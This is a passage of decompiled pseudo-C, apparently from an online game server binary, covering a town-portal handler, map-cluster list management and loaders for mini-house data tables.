&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; if ( !(_S10_9 & 1) ) { _S10_9 |= 1u; cmc_46.cmc_AllowMode = 70; atexit(_E11_14); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_46.cmc_AllowMode ) { v5 = TownPortalData::operator__(&townportaldata, *(_BYTE *)(netcmd + 2)); if ( v5 ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1220))(v4) >= v5->MinLevel ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 27, 6593); *(_QWORD *)&mapname.n3_name[4] = 0i64; *(_DWORD *)&mapname.n3_name[0] = 0; strncpy(mapname.n3_name, v5->MapName, 0xCu); v6 = *(_DWORD *)v4; coord.x = v5->X; coord.y = v5->Y; (*(void (__thiscall **)(void *, Name3 *, SHINE_XY_TYPE *))(v6 + 2100))(v4, &mapname, &coord); } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 27, 6596); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 27, 6595); } v7 = "ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ"; } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 27, 6594); v7 = "ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ"; } --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); __security_check_cookie(v11); } //----- (004764F0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, MapClusterManager::MapCluster *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { MapClusterManager::MapCluster::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (00476520) -------------------------------------------------------- int __thiscall MapClusterManager::MapCluster::operator_(int this, int a2) { int result; // eax@1 int v3; // ebx@1 void *v4; // edx@1 signed int v5; // [sp+14h] [bp+4h]@1 result = this; v3 = a2; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); v4 = (void *)(this + 12); v5 = 512; do { memcpy(v4, (char *)v4 + v3 - this, 0x48u); v4 = (char *)v4 + 72; --v5; } while ( v5 ); *(_DWORD *)(this + 36876) = *(_DWORD *)(v3 + 36876); *(_DWORD *)(this + 36880) = *(_DWORD *)(v3 + 36880); *(_DWORD *)(this + 36884) = *(_DWORD *)(v3 + 36884); return result; } //----- (004765A0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, MapClusterManager::MapCluster *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { MapClusterManager::MapCluster::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (004765D0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, MapClusterManager::MapCluster *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; MapClusterManager::MapCluster::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00476620) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, MapClusterManager::MapCluster *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; MapClusterManager::MapCluster::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00476670) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (004766C0) -------------------------------------------------------- void __thiscall MapClusterManager::ClusterManager::_ClusterManager(MapClusterManager::ClusterManager *this) { MapClusterManager::ClusterManager *v1; // esi@1 char *v2; // ebx@1 signed int v3; // ebp@1 int v4; // edi@2 void *v5; // esi@5 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = (char *)this->Clusters; v3 = 10; do { v4 = *(_DWORD *)v2; if ( *(_DWORD *)v2 ) { _eh_vector_destructor_iterator_( (void *)(v4 + 12), 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); operator delete((void *)v4); } v2 += 4; --v3; } while ( v3 ); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->cm_EmptyCheck); _eh_vector_destructor_iterator_( v1->cm_ClassChangeElfForest.mc_Map, 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); _eh_vector_destructor_iterator_( v1->cm_ClassChangeGamble.mc_Map, 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); _eh_vector_destructor_iterator_( v1->cm_ClassChangeRou.mc_Map, 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); _eh_vector_destructor_iterator_( v1->cm_ClassChange.mc_Map, 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v5 = v1->baseclass_0.l_Array; if ( v5 ) operator delete__(v5); } // 5B72A4: using guessed type int (__stdcall *List_MapClusterManager__MapCluster____vftable_[3])(__int16 hnd); //----- (004767E0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00476900) -------------------------------------------------------- #585 *__thiscall MapClusterManager::ClusterManager::cm_FindEmpty(MapClusterManager::ClusterManager *this, char *clientmapname) { int v2; // eax@0 void *v3; // esp@1 List *v4; // esi@1 MapClusterManager::MapCluster *v5; // eax@1 #585 *result; // eax@4 __int16 hnd; // [sp+0h] [bp-9030h]@1 FunctionEntarance _; // [sp+4h] [bp-902Ch]@1 MapClusterManager::MapCluster key; // [sp+8h] [bp-9028h]@1 unsigned int v10; // [sp+9020h] [bp-10h]@4 int v11; // [sp+9024h] [bp-Ch]@1 _EXCEPTION_DISPOSITION (__cdecl *v12)(EHExceptionRecord *, EHRegistrationNode *, void *, void *); // [sp+9028h] [bp-8h]@1 int v13; // [sp+902Ch] [bp-4h]@1 v12 = _ehhandler__cm_FindEmpty_ClusterManager_MapClusterManager__QAEPAVFieldMap__PAD_Z; v11 = v2; v3 = alloca(36900); v4 = (List *)this; _.fe_FunctionCode = "MapClusterManager::ClusterManager::cm_FindEmpty"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmpty"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::ClusterManager::cm_FindEmpty"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; MapClusterManager::MapCluster::MapCluster(&key, clientmapname, CATEGORY_CLASSIC); LOBYTE(v13) = 1; v5 = List::l_Search( v4, MapClusterManager::MapCluster::mc_CompName, (unsigned __int16 *)&hnd, &key); if ( v5 ) { MapClusterManager::MapCluster::mc_FindEmpty(v5); LOBYTE(v13) = 0; _eh_vector_destructor_iterator_( key.mc_Map, 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmpty"); } else { LOBYTE(v13) = 0; _eh_vector_destructor_iterator_( key.mc_Map, 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmpty"); } __security_check_cookie(v10); return result; } //----- (00476A60) -------------------------------------------------------- #585 *__cdecl ShineObjectClass::ShinePlayer::so_ply_FindJobDungeon(char *mapname) { #585 *v1; // eax@1 #585 *v2; // esi@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FindJobDungeon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_FindJobDungeon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1 = MapClusterManager::ClusterManager::cm_FindEmpty(&mapclustermanager, mapname); --funcallanalizer.fca_stackpoint; v2 = v1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FindJobDungeon"); return v2; } //----- (00476B00) -------------------------------------------------------- void __thiscall MapClusterManager::ClusterManager::ClusterManager(MapClusterManager::ClusterManager *this) { MapClusterManager::ClusterManager *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0xEu); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; MapClusterManager::MapCluster::MapCluster(&v1->cm_ClassChange, "Job1_Dn01", CATEGORY_CLASSIC); MapClusterManager::MapCluster::MapCluster(&v1->cm_ClassChangeRou, "Rou", CATEGORY_CLASSIC); MapClusterManager::MapCluster::MapCluster(&v1->cm_ClassChangeGamble, "Job2_Dn01", CATEGORY_CLASSIC); MapClusterManager::MapCluster::MapCluster(&v1->cm_ClassChangeElfForest, "Job2_Dn02", CATEGORY_CLASSIC); Metronome::Metronome(&v1->cm_EmptyCheck); v1->Clusters[0] = 0; v1->Clusters[1] = 0; v1->Clusters[2] = 0; v1->Clusters[3] = 0; v1->Clusters[4] = 0; v1->Clusters[5] = 0; v1->Clusters[6] = 0; v1->Clusters[7] = 0; v1->Clusters[8] = 0; v1->Clusters[9] = 0; v1->cm_EmptyCheck.m_NextTick = clockwatch.cw_CurrTick + 900; v1->cm_EmptyCheck.m_TickInterval = 300; } // 5B72A4: using guessed type int (__stdcall *List_MapClusterManager__MapCluster____vftable_[3])(__int16 hnd); //----- (00476C10) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xFBu, 0xAu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00476CC0) -------------------------------------------------------- void __thiscall MiniHouseEndureDataBox::MiniHouseEndureDataBox(MiniHouseEndureDataBox *this) { char *v1; // edi@1 v1 = (char *)&this->mhe_BinData; CCharacterTitleData::CCharacterTitleData(&this->mhe_BinData.baseclass_0); v1 += 60; *(_DWORD *)v1 = 0; *((_DWORD *)v1 + 1) = 0; *((_WORD *)v1 + 4) = 0; } //----- (00476CF0) -------------------------------------------------------- void __thiscall PassiveDataBox::_PassiveDataBox(AbnormalStateDictionary::SubAbState *this) { CCharacterTitleData::_CCharacterTitleData(&this->sas_BinData.baseclass_0); } //----- (00476D00) -------------------------------------------------------- void __thiscall MiniHouseEndureDataBox::mhe_Load(MiniHouseEndureDataBox *this) { MiniHouseEndureDataBox *v1; // esi@1 MiniHouseEndure *v2; // edx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MiniHouseEndureDataBox::mhe_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MiniHouseEndureDataBox::mhe_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->mhe_default = &v1->mhe_BinData.bdb_defaultblock; BinaryDataBox::bdb_ReadData(&v1->mhe_BinData, "../9Data/Shine/MiniHouseEndure.shn"); v2 = v1->mhe_default; v1->mhe_Number = v1->mhe_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; *(_DWORD *)&v2->Handle = 0; *(_DWORD *)&v2->Endure[1] = 0; v2->Endure[3] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MiniHouseEndureDataBox::mhe_Load"); } //----- (00476DC0) -------------------------------------------------------- int __thiscall MiniHouseEndureDataBox::mhe_CalEndureGrade(MiniHouseEndureDataBox *this, unsigned __int16 nEndureType, ShineDateTime *dEndEndureDate, MHE_STEP *nEndureGrade) { int result; // eax@2 char *v5; // ebx@3 void *v6; // eax@4 void *v7; // eax@12 int v8; // eax@16 unsigned int v9; // edx@16 int v10; // esi@16 int v11; // eax@16 signed int v12; // edx@18 int v13; // esi@18 signed int v14; // edi@20 void *v15; // eax@22 void *v16; // eax@26 tm dEndEndureTime; // [sp+8h] [bp-48h]@16 tm dCurTime; // [sp+2Ch] [bp-24h]@16 if ( nEndureType <= (signed int)this->mhe_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { v5 = (char *)&this->mhe_BinData; if ( nEndureType < this->mhe_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v6 = CDataReader::GetRecord((CDataReader *)v5, nEndureType); else v6 = &this->mhe_BinData.bdb_defaultblock; if ( *(_WORD *)v6 == nEndureType ) { if ( dEndEndureDate->_bf0 & 0xFF ) { if ( (dEndEndureDate->_bf0 & 0xFF) != 255 || ((unsigned int)nEndureType < *(_DWORD *)(*((_DWORD *)v5 + 12) + 40) ? (v7 = CDataReader::GetRecord( (CDataReader *)v5, nEndureType)) : (v7 = v5 + 60), *((_WORD *)v7 + 1)) ) { v8 = dEndEndureDate->_bf0; v9 = (unsigned int)dEndEndureDate->_bf0 >> 8; memcpy((void *)&dCurTime, &stru_81EC6C, sizeof(dCurTime)); dEndEndureTime.tm_year = (unsigned __int8)v8 + 100; dEndEndureTime.tm_mon = (v9 & 0x1F) - 1; dEndEndureTime.tm_min = (unsigned int)v8 >> 25; dEndEndureTime.tm_mday = ((unsigned int)v8 >> 13) & 0x3F; dEndEndureTime.tm_hour = ((unsigned int)v8 >> 19) & 0x3F; dEndEndureTime.tm_sec = 0; v10 = mktime(&dCurTime); v11 = mktime(&dEndEndureTime); if ( v11 > v10 ) { v12 = (signed int)(v11 - v10 + ((unsigned __int64)(-1851608123i64 * (v11 - v10)) >> 32)) >> 11; v13 = v12 + ((unsigned int)v12 >> 31); if ( (unsigned __int16)v13 > *(_WORD *)&BinaryDataBox::operator__( (BinaryDataBox *)v5, nEndureType)->InxName[0] ) LOWORD(v13) = *(_WORD *)&BinaryDataBox::operator__((BinaryDataBox *)v5, nEndureType)->InxName[0]; v14 = 0; while ( 1 ) { v15 = (unsigned int)nEndureType < *(_DWORD *)(*((_DWORD *)v5 + 12) + 40) ? CDataReader::GetRecord( (CDataReader *)v5, nEndureType) : v5 + 60; if ( (unsigned __int16)v13 < *((_WORD *)v15 + v14 + 1) ) { v16 = (unsigned int)nEndureType < *(_DWORD *)(*((_DWORD *)v5 + 12) + 40) ? CDataReader::GetRecord( (CDataReader *)v5, nEndureType) : v5 + 60; if ( (unsigned __int16)v13 >= *((_WORD *)v16 + v14 + 2) ) break; } ++v14; if ( v14 >= 3 ) return 0; } *nEndureGrade = v14 + 1; result = 1; } else { *nEndureGrade = 4; result = 1; } } else { *nEndureGrade = 1; result = 1; } } else { *nEndureGrade = 0; result = 1; } } else { result = 0; } } else { result = 0; } return result; } //----- (00476F90) -------------------------------------------------------- MiniHouseObjAniDataBox::AniData *__thiscall MiniHouseObjAniDataBox::mhoadb_GetAniData(MiniHouseObjAniDataBox *this, unsigned __int16 hnd) { MiniHouseObjAniDataBox *v2; // esi@1 MiniHouseObjAniDataBox::ServerAniData *v3; // edi@2 unsigned __int16 v4; // ax@3 char v5; // al@5 char v6; // al@8 MiniHouseObjAniDataBox::AniData *result; // eax@9 v2 = this; if ( hnd >= this->mhoadb_MaxItemHandle ) { result = 0; } else { this->mhoadb_AniData.PreHandle = hnd; v3 = &this->p_mhoadb_ServerAniData[hnd]; if ( v3->isRand ) { v3 = &this->p_mhoadb_ServerAniData[hnd]; v4 = v3->RandStartHandle + RandomBox::operator__(&rndbox, v3->RandCnt); } else { v4 = v3->RandStartHandle; } v2->mhoadb_AniData.NextHandle = v4; v5 = v3->ActorMaxNum; if ( v5 ) v2->mhoadb_AniData.ActorIdx = RandomBox::operator__(&rndbox, (unsigned __int8)v5) + 1; else v2->mhoadb_AniData.ActorIdx = 0; v6 = v2->p_mhoadb_ServerAniData[hnd].ActeeMaxNum; if ( v6 ) { v2->mhoadb_AniData.ActeeIdx = RandomBox::operator__(&rndbox, (unsigned __int8)v6) + 1; result = &v2->mhoadb_AniData; } else { result = &v2->mhoadb_AniData; v2->mhoadb_AniData.ActeeIdx = 0; } } return result; } //----- (00477040) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x271u, 0x27u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (004770F0) -------------------------------------------------------- void __thiscall MiniHouseObjAniDataBox::MiniHouseObjAniDataBox(MiniHouseObjAniDataBox *this) { char *v1; // edi@1 v1 = (char *)&this->mhoadb_BinData; CCharacterTitleData::CCharacterTitleData(&this->mhoadb_BinData.baseclass_0); v1 += 60; memset(v1, 0, 0x24u); v1 += 36; *(_WORD *)v1 = 0; v1[2] = 0; } //----- (00477120) -------------------------------------------------------- void __thiscall MiniHouseObjAniDataBox::mhoadb_MakeServerAniData(MiniHouseObjAniDataBox *this) { MiniHouseObjAniDataBox *v1; // edi@1 unsigned int v2; // eax@1 unsigned int v3; // esi@1 int v4; // ebp@1 void *v5; // eax@3 void *v6; // eax@7 int v7; // esi@11 unsigned int v8; // ebx@11 int v9; // ecx@11 int v10; // eax@12 void *v11; // eax@16 unsigned __int16 v12; // bp@18 void *v13; // eax@19 void *v14; // eax@23 void *v15; // eax@26 unsigned int v16; // ebp@29 void *v17; // eax@31 void *v18; // eax@35 void *v19; // eax@40 int v20; // ebp@45 void *v21; // eax@46 void *v22; // eax@49 void *v23; // eax@51 int same_group; // [sp+10h] [bp-1Ch]@22 signed __int16 RandStartHande; // [sp+14h] [bp-18h]@28 unsigned int j; // [sp+18h] [bp-14h]@28 unsigned int i; // [sp+1Ch] [bp-10h]@14 __int16 CurrItemID; // [sp+20h] [bp-Ch]@25 int CurrGroupID; // [sp+24h] [bp-8h]@28 unsigned __int16 CurrHandle; // [sp+28h] [bp-4h]@18 v1 = this; v2 = this->mhoadb_Number; v3 = 0; v4 = 0; this->mhoadb_MaxItemHandle = 0; if ( v2 ) { do { if ( v3 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v5 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v3); else v5 = &v1->mhoadb_BinData.bdb_defaultblock; if ( v1->mhoadb_MaxItemHandle < *(_WORD *)v5 ) { if ( v3 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v6 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v3); else v6 = &v1->mhoadb_BinData.bdb_defaultblock; v1->mhoadb_MaxItemHandle = *(_WORD *)v6; } ++v4; v3 = (unsigned __int16)v4; } while ( (unsigned __int16)v4 < v1->mhoadb_Number ); } v7 = v1->mhoadb_MaxItemHandle + 1; v1->mhoadb_MaxItemHandle = v7; v1->p_mhoadb_ServerAniData = (MiniHouseObjAniDataBox::ServerAniData *)operator new__(8 * v7); v8 = 0; v9 = 0; if ( v1->mhoadb_MaxItemHandle ) { v10 = 0; do { v1->p_mhoadb_ServerAniData[v10].isRand = 0; v1->p_mhoadb_ServerAniData[v10].RandCnt = 0; v1->p_mhoadb_ServerAniData[v10].RandStartHandle = -1; v1->p_mhoadb_ServerAniData[v10].ActorMaxNum = 0; ++v9; v1->p_mhoadb_ServerAniData[v10].ActeeMaxNum = 0; v10 = (unsigned __int16)v9; } while ( (unsigned __int16)v9 < v1->mhoadb_MaxItemHandle ); } i = 0; if ( v1->mhoadb_Number ) { while ( 1 ) { v11 = v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mhoadb_BinData.baseclass_0.baseclass_0, v8) : &v1->mhoadb_BinData.bdb_defaultblock; v12 = *(_WORD *)v11; CurrHandle = *(_WORD *)v11; v13 = v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mhoadb_BinData.baseclass_0.baseclass_0, v8) : &v1->mhoadb_BinData.bdb_defaultblock; if ( *(_WORD *)((char *)v13 + 11) < 0x2710u ) break; same_group = 0; if ( v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v14 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v8); else v14 = &v1->mhoadb_BinData.bdb_defaultblock; CurrItemID = *((_WORD *)v14 + 1); if ( v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v15 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v8); else v15 = &v1->mhoadb_BinData.bdb_defaultblock; CurrGroupID = *(_WORD *)((char *)v15 + 11); RandStartHande = -1; j = 0; if ( v1->mhoadb_Number ) { v16 = 0; do { if ( v16 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v17 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v16); else v17 = &v1->mhoadb_BinData.bdb_defaultblock; if ( *((_WORD *)v17 + 1) == CurrItemID ) { v18 = v16 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mhoadb_BinData.baseclass_0.baseclass_0, v16) : &v1->mhoadb_BinData.bdb_defaultblock; if ( *(_WORD *)((char *)v18 + 5) == CurrGroupID ) { ++same_group; if ( RandStartHande == -1 ) { if ( v16 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v19 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v16); else v19 = &v1->mhoadb_BinData.bdb_defaultblock; RandStartHande = *(_WORD *)v19; } } } ++j; v16 = j; } while ( j < v1->mhoadb_Number ); v12 = CurrHandle; } v20 = v12; v1->p_mhoadb_ServerAniData[v20].isRand = 1; v1->p_mhoadb_ServerAniData[v20].RandCnt = same_group; v1->p_mhoadb_ServerAniData[v20].RandStartHandle = RandStartHande; if ( v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) goto LABEL_47; v21 = &v1->mhoadb_BinData.bdb_defaultblock; LABEL_48: v1->p_mhoadb_ServerAniData[v20].ActorMaxNum = *((_BYTE *)v21 + 13); if ( v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v22 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v8); else v22 = &v1->mhoadb_BinData.bdb_defaultblock; v1->p_mhoadb_ServerAniData[v20].ActeeMaxNum = *((_BYTE *)v22 + 26); ++i; v8 = i; if ( i >= v1->mhoadb_Number ) return; } v20 = v12; v1->p_mhoadb_ServerAniData[v20].isRand = 0; v1->p_mhoadb_ServerAniData[v20].RandCnt = 0; if ( v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v23 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v8); else v23 = &v1->mhoadb_BinData.bdb_defaultblock; v1->p_mhoadb_ServerAniData[v20].RandStartHandle = *(_WORD *)((char *)v23 + 11); if ( v8 >= v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { v21 = &v1->mhoadb_BinData.bdb_defaultblock; goto LABEL_48; } LABEL_47: v21 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v8); goto LABEL_48; } } //----- (004773E0) -------------------------------------------------------- void __thiscall MiniHouseObjAniDataBox::mhoadb_Load(MiniHouseObjAniDataBox *this) { MiniHouseObjAniDataBox *v1; // esi@1 MiniHouseObjAni *v2; // edi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MiniHouseObjAniDataBox::mhoadb_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MiniHouseObjAniDataBox::mhoadb_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->mhoadb_default = &v1->mhoadb_BinData.bdb_defaultblock; BinaryDataBox::bdb_ReadData(&v1->mhoadb_BinData, "../9Data/Shine/MiniHouseObjAni.shn"); v2 = v1->mhoadb_default; v1->mhoadb_Number = v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; memset(v2, 0, 0x24u); v2 = (MiniHouseObjAni *)((char *)v2 + 36); v2->Handle = 0; LOBYTE(v2->ItemID) = 0; MiniHouseObjAniDataBox::mhoadb_MakeServerAniData(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MiniHouseObjAniDataBox::mhoadb_Load"); } //----- (004774A0) -------------------------------------------------------- SHINE_XY_TYPE *__thiscall DirectDistanceTable::ddt_GetFoward(DirectDistanceTable *this, int sr, int distance, SHINE_XY_TYPE *buffer) { int v4; // edi@1 __int64 v5; // qax@5 v4 = sr; if ( sr < 0 ) v4 = sr + 180 * (-1 - sr) / 0xB4u + 180; if ( v4 >= 180 ) v4 %= 0xB4u; v5 = distance * *(unsigned int *)((char *)&this->ddt_Table[0][v4].distance + (_DWORD)((char *)&wholesaver + 25071784)); buffer->x += ((WORD2(v5) & 0x3FF) + (signed int)v5) >> 10; buffer->y += (signed int)(distance * *(unsigned int *)((char *)&this->ddt_Table[0][v4].distance + (_DWORD)((char *)&wholesaver + 25071788))) / 1024; return buffer; } //----- (00477540) -------------------------------------------------------- int __thiscall MiscDataTable::MiscData_Skill::mds_Init(int this, __int16 skillid) { int 